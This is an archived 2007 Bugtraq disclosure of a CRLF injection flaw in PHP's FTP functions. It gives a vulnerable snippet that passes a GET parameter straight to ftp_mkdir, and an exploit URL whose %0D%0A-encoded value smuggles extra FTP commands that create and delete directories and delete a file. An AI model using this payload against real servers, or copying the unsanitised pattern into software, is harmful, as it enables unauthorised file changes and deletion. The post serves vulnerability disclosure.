bugtraq
[Top] [All Lists]

CRLF injection in PHP ftp function

To: bugtraq@securityfocus.com
Subject: CRLF injection in PHP ftp function
From: fangxiaodun@discuz.com
Date: 23 Mar 2007 08:39:17 -0000
Delivered-to: sp-com-lists@consult.net
Delivered-to: bugtraq-list@securepoint.com
Delivered-to: mailing list bugtraq@securityfocus.com
Delivered-to: moderator for bugtraq@securityfocus.com
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@securityfocus.com; run by ezmlm
We found that there was one crlf injection in php ftp ftuntion.As same as 
http,you can inject a '\r\n other command' in the paramer of a ftp function 
like ftp_mkdir,and then php would send the \r\n to your connected ftp 
server.The server considerd there is a new command,and the other command would 
be executed.
For eg:

<?php
$ftp_server='http://www.loveshell.net';
$ftp_user_name='loveshell';
$ftp_user_pass='loveshell';
$command = $_GET['dir'];

$conn_id = ftp_connect($ftp_server);
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
if($command) ftp_mkdir($conn_id, $command);
.......

Exp: http://www.loveshell.net/test.php?dir=loveshell%0D%0AMKD jnc%0D%0ADELE 
jnc.txt%0D%0Armd test

The dir loveshell and jnc are created,the jnc.txt is deleted,and the dir test 
is deleted.

tested on php 5.1.6,other function is vul also.
 
loveshell[at]Bug.Center.Team

<Prev in Thread] Current Thread [Next in Thread>
  • CRLF injection in PHP ftp function, fangxiaodun <=